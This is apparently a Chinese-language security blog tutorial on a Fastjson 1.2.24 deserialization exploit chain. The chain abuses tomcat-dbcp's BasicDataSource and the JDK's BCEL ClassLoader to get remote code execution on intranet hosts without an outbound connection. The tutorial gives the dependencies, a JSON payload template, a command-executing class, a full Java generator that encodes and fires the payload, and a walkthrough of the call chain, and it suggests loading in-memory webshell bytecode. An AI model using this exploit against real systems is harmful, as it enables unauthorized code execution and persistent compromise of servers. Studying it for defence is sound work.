这条链可直接回显，可以解决fastjson在内网的情况，因为很多实战的时候，fastjson的应用部署在内网，只映射一个端口出来，导致前面学习的jdbcRowImpl链的jndi利用不了，而TemplatesImpl链又因为有利用条件，用parseObject()方法时，需要加入Feature.SupportNonPublicField参数，就有了大佬们使用tomcat-dhcp链，而tomcat-dbcp依赖又是数据库依赖比较常见。而tomcat-dbcp是依赖$$BCEL$$的。
1、前置知识
1.1、BCEL
BCEL的全名应该是Apache Commons BCEL，属于Apache Commons项目下的一个子项目。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。
就这个库的功能来看，其使用面远不及同胞兄弟们，但是他比Commons Collections特殊的一点是，它被包含在了原生的JDK中，位于com.sun.org.apache.bce。
我们来看看我们今天的主角com.sun.org.apache.bcel.internal.util.ClassLoader,在jdk的rt.jar包里面
我们来看loadClass这个方法，获取class_name，判断开头是不是$$BCEL$$，是就调用createClass(class_name),然后通过
classname获取字节码，然后调用defineClass实例化我们的字节码。我们先看看createClass
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null; ...... if(cl == null) { JavaClass clazz = null; /* Third try: Special request? */ if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); else { // Fourth try: Load classes via repository if ((clazz = repository.loadClass(class_name)) != null) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException(class_name); } if(clazz != null) { byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length); } else // Fourth try: Use default class loader cl = Class.forName(class_name); } if(resolve) resolveClass(cl); } classes.put(class_name, cl); return cl; }createClass这个类就是把$$BCEL$$后面的字段赋值给real_name，然后通过Utility.decode将BCEL解码成字节码，然后解析字节码编程类，返回这个类，所以createClass就是获取class_name的$$BCEL$$的字节码转换成类
protected JavaClass createClass(String class_name) { int index = class_name.indexOf("$$BCEL$$"); String real_name = class_name.substring(index + 8); JavaClass clazz = null; try { byte[] bytes = Utility.decode(real_name, true); ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo"); clazz = parser.parse(); } catch(Throwable e) { e.printStackTrace(); return null; } // Adapt the class name to the passed value ConstantPool cp = clazz.getConstantPool(); ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(), Constants.CONSTANT_Class); ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(), Constants.CONSTANT_Utf8); name.setBytes(class_name.replace('.', '/')); return clazz; }还有有一个点就是com.sun.org.apache.bcel.internal.classfile.Utility该类存储了bcel的加解密方法
Utility.decode(String real_name, true) Utility.encode(byte[] bytes,, true)最后poc的构造
我们可以通过FastJson反序列化，反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象，并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象，将 classname 赋值为 经过BCEL编码的字节码（假设对应的类为Evil.class），我们将需要执行的代码写在 Evil.class 的 static 代码块
2、POC分析
2.1、依赖
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency> </dependencies>2.2、poc
{ { "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" }编写恶意代码类，并且编译成class文件，既字节码形式
package com.akkacloud; import java.io.IOException; public class Calc { public Calc() throws IOException { Runtime.getRuntime().exec(" open /System/Applications/Calculator.app "); } }
package com.akkacloud; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import java.util.Arrays; class fastjson_dbcp { public static void main(String[] argv) throws Exception{ JavaClass cls = Repository.lookupClass(Calc.class); //System.out.println(Arrays.toString(cls.getBytes())); String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码 System.out.println(code); String poc = "{\n" + " {\n" + " \"aaa\": {\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" + " }\n" + " }: \"bbb\"\n" + "}"; System.out.println(poc); JSON.parse(poc); } }
最后说一句对jdk版本有要求，jdk1.8u251前可以成功
2.3、利用链
BasicDataSource.getConnection() createDataSource() createConnectionFactory()其实看到这个利用链，就知道传入我们的BasicDataSource类，会自动调用getter和setter方法，然后调用getConnection方法。我们在
getConnection打断点调试一下，可以看到我们在BasicDataSource里存入的恶意代码都已经存入，继续跟createDataSource
跟进发现，会判断dataSource是够为空，然后调用createConnectionFactory(就是创建链接工厂方法)，继续跟进
到了这里就很清楚了，通过class.forName方法，使用我们自定义的classloder（com.sun.org.apache.bcel.internal.util.ClassLoader)，获取该类
然后实例化该类，造成命令执行。
2.4、结束
旧版本的 tomcat-dbcp 对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>dbcp</artifactId> <version>6.0.53</version> </dependency>Tomcat 8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency>我们可以通过传入内存马的Class字节码，达到回显的目的
参考
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html